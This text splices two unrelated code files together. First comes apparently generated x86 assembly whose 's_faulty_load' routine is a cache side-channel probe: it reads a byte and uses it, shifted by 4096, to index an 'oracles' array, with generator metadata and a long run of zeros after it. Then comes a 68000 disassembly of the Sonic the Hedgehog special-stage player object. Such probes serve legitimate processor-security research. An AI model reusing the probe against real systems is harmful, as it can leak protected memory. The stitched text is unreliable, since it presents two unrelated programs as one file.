.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xd329, %r12 nop nop nop nop nop dec %r8 mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%r12) nop nop sub %rax, %rax lea addresses_UC_ht+0x11129, %rbp nop and %rbx, %rbx movb (%rbp), %r13b nop nop nop add %rbp, %rbp lea addresses_WT_ht+0x13329, %rbp nop nop nop nop nop xor $29040, %rdi mov $0x6162636465666768, %rbx movq %rbx, (%rbp) nop nop nop xor %rbx, %rbx lea addresses_normal_ht+0x14529, %rsi lea addresses_UC_ht+0xa029, %rdi nop nop nop and $48544, %rbx mov $35, %rcx rep movsq nop nop nop nop nop add $54309, %rbp lea addresses_A_ht+0xc029, %r13 clflush (%r13) nop nop sub %rbp, %rbp mov $0x6162636465666768, %rcx movq %rcx, (%r13) cmp $12377, %rbx lea addresses_D_ht+0x2dfb, %rsi lea addresses_UC_ht+0xc129, %rdi nop nop nop nop xor %rbp, %rbp mov $108, %rcx rep movsb nop nop nop nop nop xor %r12, %r12 lea addresses_UC_ht+0x147a9, %rsi lea addresses_A_ht+0x19359, %rdi nop nop nop cmp %r13, %r13 mov $101, %rcx rep movsq nop nop cmp $35353, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r8 push %rbp push %rbx push %rdx // Faulty Load lea addresses_US+0xe129, %rdx and $28218, %r10 mov (%rdx), %bp lea oracles, %rbx and $0xff, %rbp shlq $12, %rbp mov (%rbx,%rbp,1), %rbp pop %rdx pop %rbx pop %rbp pop %r8 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; --------------------------------------------------------------------------- ; Object 09 - Sonic (special stage) ; --------------------------------------------------------------------------- SonicSpecial: tst.w (v_debuguse).w ; is debug mode being used? beq.s Obj09_Normal ; if not, branch bsr.w SS_FixCamera bra.w DebugMode ; =========================================================================== Obj09_Normal: moveq #0,d0 move.b obRoutine(a0),d0 move.w Obj09_Index(pc,d0.w),d1 jmp Obj09_Index(pc,d1.w) ; =========================================================================== Obj09_Index: dc.w Obj09_Main-Obj09_Index dc.w Obj09_ChkDebug-Obj09_Index dc.w Obj09_ExitStage-Obj09_Index dc.w Obj09_Exit2-Obj09_Index ; =========================================================================== Obj09_Main: ; Routine 0 addq.b #2,obRoutine(a0) move.b #$E,obHeight(a0) move.b #7,obWidth(a0) move.l #Map_Sonic,obMap(a0) move.w #$780,obGfx(a0) move.b #4,obRender(a0) move.b #0,obPriority(a0) move.b #id_Roll,obAnim(a0) bset #2,obStatus(a0) bset #1,obStatus(a0) Obj09_ChkDebug: ; Routine 2 tst.w (f_debugmode).w ; is debug mode cheat enabled? beq.s Obj09_NoDebug ; if not, branch btst #bitB,(v_jpadpress1).w ; is button B pressed? beq.s Obj09_NoDebug ; if not, branch move.w #1,(v_debuguse).w ; change Sonic into a ring Obj09_NoDebug: move.b #0,$30(a0) moveq #0,d0 move.b obStatus(a0),d0 andi.w #2,d0 move.w Obj09_Modes(pc,d0.w),d1 jsr Obj09_Modes(pc,d1.w) jsr (Sonic_LoadGfx).l jmp (DisplaySprite).l ; =========================================================================== Obj09_Modes: dc.w Obj09_OnWall-Obj09_Modes dc.w Obj09_InAir-Obj09_Modes ; =========================================================================== Obj09_OnWall: bsr.w Obj09_Jump bsr.w Obj09_Move bsr.w Obj09_Fall bra.s Obj09_Display ; =========================================================================== Obj09_InAir: bsr.w nullsub_2 bsr.w Obj09_Move bsr.w Obj09_Fall Obj09_Display: bsr.w Obj09_ChkItems bsr.w Obj09_ChkItems2 jsr (SpeedToPos).l bsr.w SS_FixCamera move.w (v_ssangle).w,d0 add.w (v_ssrotate).w,d0 move.w d0,(v_ssangle).w jsr (Sonic_Animate).l rts ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_Move: btst #bitL,(v_jpadhold2).w ; is left being pressed? beq.s Obj09_ChkRight ; if not, branch bsr.w Obj09_MoveLeft Obj09_ChkRight: btst #bitR,(v_jpadhold2).w ; is right being pressed? beq.s loc_1BA78 ; if not, branch bsr.w Obj09_MoveRight loc_1BA78: move.b (v_jpadhold2).w,d0 andi.b #btnL+btnR,d0 bne.s loc_1BAA8 move.w obInertia(a0),d0 beq.s loc_1BAA8 bmi.s loc_1BA9A subi.w #$C,d0 bcc.s loc_1BA94 move.w #0,d0 loc_1BA94: move.w d0,obInertia(a0) bra.s loc_1BAA8 ; =========================================================================== loc_1BA9A: addi.w #$C,d0 bcc.s loc_1BAA4 move.w #0,d0 loc_1BAA4: move.w d0,obInertia(a0) loc_1BAA8: move.b (v_ssangle).w,d0 addi.b #$20,d0 andi.b #$C0,d0 neg.b d0 jsr (CalcSine).l muls.w obInertia(a0),d1 add.l d1,obX(a0) muls.w obInertia(a0),d0 add.l d0,obY(a0) movem.l d0-d1,-(sp) move.l obY(a0),d2 move.l obX(a0),d3 bsr.w sub_1BCE8 beq.s loc_1BAF2 movem.l (sp)+,d0-d1 sub.l d1,obX(a0) sub.l d0,obY(a0) move.w #0,obInertia(a0) rts ; =========================================================================== loc_1BAF2: movem.l (sp)+,d0-d1 rts ; End of function Obj09_Move ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_MoveLeft: bset #0,obStatus(a0) move.w obInertia(a0),d0 beq.s loc_1BB06 bpl.s loc_1BB1A loc_1BB06: subi.w #$C,d0 cmpi.w #-$800,d0 bgt.s loc_1BB14 move.w #-$800,d0 loc_1BB14: move.w d0,obInertia(a0) rts ; =========================================================================== loc_1BB1A: subi.w #$40,d0 bcc.s loc_1BB22 nop loc_1BB22: move.w d0,obInertia(a0) rts ; End of function Obj09_MoveLeft ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_MoveRight: bclr #0,obStatus(a0) move.w obInertia(a0),d0 bmi.s loc_1BB48 addi.w #$C,d0 cmpi.w #$800,d0 blt.s loc_1BB42 move.w #$800,d0 loc_1BB42: move.w d0,obInertia(a0) bra.s locret_1BB54 ; =========================================================================== loc_1BB48: addi.w #$40,d0 bcc.s loc_1BB50 nop loc_1BB50: move.w d0,obInertia(a0) locret_1BB54: rts ; End of function Obj09_MoveRight ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_Jump: move.b (v_jpadpress2).w,d0 andi.b #btnABC,d0 ; is A, B or C pressed? beq.s Obj09_NoJump ; if not, branch move.b (v_ssangle).w,d0 andi.b #$FC,d0 neg.b d0 subi.b #$40,d0 jsr (CalcSine).l muls.w #$680,d1 asr.l #8,d1 move.w d1,obVelX(a0) muls.w #$680,d0 asr.l #8,d0 move.w d0,obVelY(a0) bset #1,obStatus(a0) sfx sfx_Jump,0,0,0 ; play jumping sound Obj09_NoJump: rts ; End of function Obj09_Jump ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| nullsub_2: rts ; End of function nullsub_2 ; =========================================================================== ; --------------------------------------------------------------------------- ; unused subroutine to limit Sonic's upward vertical speed ; --------------------------------------------------------------------------- move.w #-$400,d1 cmp.w obVelY(a0),d1 ble.s locret_1BBB4 move.b (v_jpadhold2).w,d0 andi.b #btnABC,d0 bne.s locret_1BBB4 move.w d1,obVelY(a0) locret_1BBB4: rts ; --------------------------------------------------------------------------- ; Subroutine to fix the camera on Sonic's position (special stage) ; --------------------------------------------------------------------------- ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| SS_FixCamera: move.w obY(a0),d2 move.w obX(a0),d3 move.w (v_screenposx).w,d0 subi.w #$A0,d3 bcs.s loc_1BBCE sub.w d3,d0 sub.w d0,(v_screenposx).w loc_1BBCE: move.w (v_screenposy).w,d0 subi.w #$70,d2 bcs.s locret_1BBDE sub.w d2,d0 sub.w d0,(v_screenposy).w locret_1BBDE: rts ; End of function SS_FixCamera ; =========================================================================== Obj09_ExitStage: addi.w #$40,(v_ssrotate).w cmpi.w #$1800,(v_ssrotate).w bne.s loc_1BBF4 move.b #id_Level,(v_gamemode).w loc_1BBF4: cmpi.w #$3000,(v_ssrotate).w blt.s loc_1BC12 move.w #0,(v_ssrotate).w move.w #$4000,(v_ssangle).w addq.b #2,obRoutine(a0) move.w #$3C,$38(a0) loc_1BC12: move.w (v_ssangle).w,d0 add.w (v_ssrotate).w,d0 move.w d0,(v_ssangle).w jsr (Sonic_Animate).l jsr (Sonic_LoadGfx).l bsr.w SS_FixCamera jmp (DisplaySprite).l ; =========================================================================== Obj09_Exit2: subq.w #1,$38(a0) bne.s loc_1BC40 move.b #id_Level,(v_gamemode).w loc_1BC40: jsr (Sonic_Animate).l jsr (Sonic_LoadGfx).l bsr.w SS_FixCamera jmp (DisplaySprite).l ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_Fall: move.l obY(a0),d2 move.l obX(a0),d3 move.b (v_ssangle).w,d0 andi.b #$FC,d0 jsr (CalcSine).l move.w obVelX(a0),d4 ext.l d4 asl.l #8,d4 muls.w #$2A,d0 add.l d4,d0 move.w obVelY(a0),d4 ext.l d4 asl.l #8,d4 muls.w #$2A,d1 add.l d4,d1 add.l d0,d3 bsr.w sub_1BCE8 beq.s loc_1BCB0 sub.l d0,d3 moveq #0,d0 move.w d0,obVelX(a0) bclr #1,obStatus(a0) add.l d1,d2 bsr.w sub_1BCE8 beq.s loc_1BCC6 sub.l d1,d2 moveq #0,d1 move.w d1,obVelY(a0) rts ; =========================================================================== loc_1BCB0: add.l d1,d2 bsr.w sub_1BCE8 beq.s loc_1BCD4 sub.l d1,d2 moveq #0,d1 move.w d1,obVelY(a0) bclr #1,obStatus(a0) loc_1BCC6: asr.l #8,d0 asr.l #8,d1 move.w d0,obVelX(a0) move.w d1,obVelY(a0) rts ; =========================================================================== loc_1BCD4: asr.l #8,d0 asr.l #8,d1 move.w d0,obVelX(a0) move.w d1,obVelY(a0) bset #1,obStatus(a0) rts ; End of function Obj09_Fall ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| sub_1BCE8: lea ($FF0000).l,a1 moveq #0,d4 swap d2 move.w d2,d4 swap d2 addi.w #$44,d4 divu.w #$18,d4 mulu.w #$80,d4 adda.l d4,a1 moveq #0,d4 swap d3 move.w d3,d4 swap d3 addi.w #$14,d4 divu.w #$18,d4 adda.w d4,a1 moveq #0,d5 move.b (a1)+,d4 bsr.s sub_1BD30 move.b (a1)+,d4 bsr.s sub_1BD30 adda.w #$7E,a1 move.b (a1)+,d4 bsr.s sub_1BD30 move.b (a1)+,d4 bsr.s sub_1BD30 tst.b d5 rts ; End of function sub_1BCE8 ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| sub_1BD30: beq.s locret_1BD44 cmpi.b #$28,d4 beq.s locret_1BD44 cmpi.b #$3A,d4 bcs.s loc_1BD46 cmpi.b #$4B,d4 bcc.s loc_1BD46 locret_1BD44: rts ; =========================================================================== loc_1BD46: move.b d4,$30(a0) move.l a1,$32(a0) moveq #-1,d5 rts ; End of function sub_1BD30 ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_ChkItems: lea ($FF0000).l,a1 moveq #0,d4 move.w obY(a0),d4 addi.w #$50,d4 divu.w #$18,d4 mulu.w #$80,d4 adda.l d4,a1 moveq #0,d4 move.w obX(a0),d4 addi.w #$20,d4 divu.w #$18,d4 adda.w d4,a1 move.b (a1),d4 bne.s Obj09_ChkCont tst.b $3A(a0) bne.w Obj09_MakeGhostSolid moveq #0,d4 rts ; =========================================================================== Obj09_ChkCont: cmpi.b #$3A,d4 ; is the item a ring? bne.s Obj09_Chk1Up bsr.w SS_RemoveCollectedItem bne.s Obj09_GetCont move.b #1,(a2) move.l a1,4(a2) Obj09_GetCont: jsr (CollectRing).l cmpi.w #50,(v_rings).w ; check if you have 50 rings bcs.s Obj09_NoCont bset #0,(v_lifecount).w bne.s Obj09_NoCont addq.b #1,(v_continues).w ; add 1 to number of continues music sfx_Continue,0,0,0 ; play extra continue sound Obj09_NoCont: moveq #0,d4 rts ; =========================================================================== Obj09_Chk1Up: cmpi.b #$28,d4 ; is the item an extra life? bne.s Obj09_ChkEmer bsr.w SS_RemoveCollectedItem bne.s Obj09_Get1Up move.b #3,(a2) move.l a1,4(a2) Obj09_Get1Up: addq.b #1,(v_lives).w ; add 1 to number of lives addq.b #1,(f_lifecount).w ; update the lives counter music bgm_ExtraLife,0,0,0 ; play extra life music moveq #0,d4 rts ; =========================================================================== Obj09_ChkEmer: cmpi.b #$3B,d4 ; is the item an emerald? bcs.s Obj09_ChkGhost cmpi.b #$40,d4 bhi.s Obj09_ChkGhost bsr.w SS_RemoveCollectedItem bne.s Obj09_GetEmer move.b #5,(a2) move.l a1,4(a2) Obj09_GetEmer: cmpi.b #6,(v_emeralds).w ; do you have all the emeralds? beq.s Obj09_NoEmer ; if yes, branch subi.b #$3B,d4 moveq #0,d0 move.b (v_emeralds).w,d0 lea (v_emldlist).w,a2 move.b d4,(a2,d0.w) addq.b #1,(v_emeralds).w ; add 1 to number of emeralds Obj09_NoEmer: sfx bgm_Emerald,0,0,0 ; play emerald music moveq #0,d4 rts ; =========================================================================== Obj09_ChkGhost: cmpi.b #$41,d4 ; is the item a ghost block? bne.s Obj09_ChkGhostTag move.b #1,$3A(a0) ; mark the ghost block as "passed" Obj09_ChkGhostTag: cmpi.b #$4A,d4 ; is the item a switch for ghost blocks? bne.s Obj09_NoGhost cmpi.b #1,$3A(a0) ; have the ghost blocks been passed? bne.s Obj09_NoGhost ; if not, branch move.b #2,$3A(a0) ; mark the ghost blocks as "solid" Obj09_NoGhost: moveq #-1,d4 rts ; =========================================================================== Obj09_MakeGhostSolid: cmpi.b #2,$3A(a0) ; is the ghost marked as "solid"? bne.s Obj09_GhostNotSolid ; if not, branch lea ($FF1020).l,a1 moveq #$3F,d1 Obj09_GhostLoop2: moveq #$3F,d2 Obj09_GhostLoop: cmpi.b #$41,(a1) ; is the item a ghost block? bne.s Obj09_NoReplace ; if not, branch move.b #$2C,(a1) ; replace ghost block with a solid block Obj09_NoReplace: addq.w #1,a1 dbf d2,Obj09_GhostLoop lea $40(a1),a1 dbf d1,Obj09_GhostLoop2 Obj09_GhostNotSolid: clr.b $3A(a0) moveq #0,d4 rts ; End of function Obj09_ChkItems ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Obj09_ChkItems2: move.b $30(a0),d0 bne.s Obj09_ChkBumper subq.b #1,$36(a0) bpl.s loc_1BEA0 move.b #0,$36(a0) loc_1BEA0: subq.b #1,$37(a0) bpl.s locret_1BEAC move.b #0,$37(a0) locret_1BEAC: rts ; =========================================================================== Obj09_ChkBumper: cmpi.b #$25,d0 ; is the item a bumper? bne.s Obj09_GOAL move.l $32(a0),d1 subi.l #$FF0001,d1 move.w d1,d2 andi.w #$7F,d1 mulu.w #$18,d1 subi.w #$14,d1 lsr.w #7,d2 andi.w #$7F,d2 mulu.w #$18,d2 subi.w #$44,d2 sub.w obX(a0),d1 sub.w obY(a0),d2 jsr (CalcAngle).l jsr (CalcSine).l muls.w #-$700,d1 asr.l #8,d1 move.w d1,obVelX(a0) muls.w #-$700,d0 asr.l #8,d0 move.w d0,obVelY(a0) bset #1,obStatus(a0) bsr.w SS_RemoveCollectedItem bne.s Obj09_BumpSnd move.b #2,(a2) move.l $32(a0),d0 subq.l #1,d0 move.l d0,4(a2) Obj09_BumpSnd: sfx sfx_Bumper,1,0,0 ; play bumper sound ; =========================================================================== Obj09_GOAL: cmpi.b #$27,d0 ; is the item a "GOAL"? bne.s Obj09_UPblock addq.b #2,obRoutine(a0) ; run routine "Obj09_ExitStage" sfx sfx_SSGoal,0,0,0 ; play "GOAL" sound rts ; =========================================================================== Obj09_UPblock: cmpi.b #$29,d0 ; is the item an "UP" block? bne.s Obj09_DOWNblock tst.b $36(a0) bne.w Obj09_NoGlass move.b #$1E,$36(a0) btst #6,($FFFFF783).w beq.s Obj09_UPsnd asl (v_ssrotate).w ; increase stage rotation speed movea.l $32(a0),a1 subq.l #1,a1 move.b #$2A,(a1) ; change item to a "DOWN" block Obj09_UPsnd: sfx sfx_SSItem,1,0,0 ; play up/down sound ; =========================================================================== Obj09_DOWNblock: cmpi.b #$2A,d0 ; is the item a "DOWN" block? bne.s Obj09_Rblock tst.b $36(a0) bne.w Obj09_NoGlass move.b #$1E,$36(a0) btst #6,(v_ssrotate+1).w bne.s Obj09_DOWNsnd asr (v_ssrotate).w ; reduce stage rotation speed movea.l $32(a0),a1 subq.l #1,a1 move.b #$29,(a1) ; change item to an "UP" block Obj09_DOWNsnd: sfx sfx_SSItem,1,0,0 ; play up/down sound ; =========================================================================== Obj09_Rblock: cmpi.b #$2B,d0 ; is the item an "R" block? bne.s Obj09_ChkGlass tst.b $37(a0) bne.w Obj09_NoGlass move.b #$1E,$37(a0) bsr.w SS_RemoveCollectedItem bne.s Obj09_RevStage move.b #4,(a2) move.l $32(a0),d0 subq.l #1,d0 move.l d0,4(a2) Obj09_RevStage: neg.w (v_ssrotate).w ; reverse stage rotation sfx sfx_SSItem,1,0,0 ; play sound ; =========================================================================== Obj09_ChkGlass: cmpi.b #$2D,d0 ; is the item a glass block? beq.s Obj09_Glass ; if yes, branch cmpi.b #$2E,d0 beq.s Obj09_Glass cmpi.b #$2F,d0 beq.s Obj09_Glass cmpi.b #$30,d0 bne.s Obj09_NoGlass ; if not, branch Obj09_Glass: bsr.w SS_RemoveCollectedItem bne.s Obj09_GlassSnd move.b #6,(a2) movea.l $32(a0),a1 subq.l #1,a1 move.l a1,4(a2) move.b (a1),d0 addq.b #1,d0 ; change glass type when touched cmpi.b #$30,d0 bls.s Obj09_GlassUpdate ; if glass is still there, branch clr.b d0 ; remove the glass block when it's destroyed Obj09_GlassUpdate: move.b d0,4(a2) ; update the stage layout Obj09_GlassSnd: sfx sfx_SSGlass,1,0,0 ; play glass block sound ; =========================================================================== Obj09_NoGlass: rts ; End of function Obj09_ChkItems2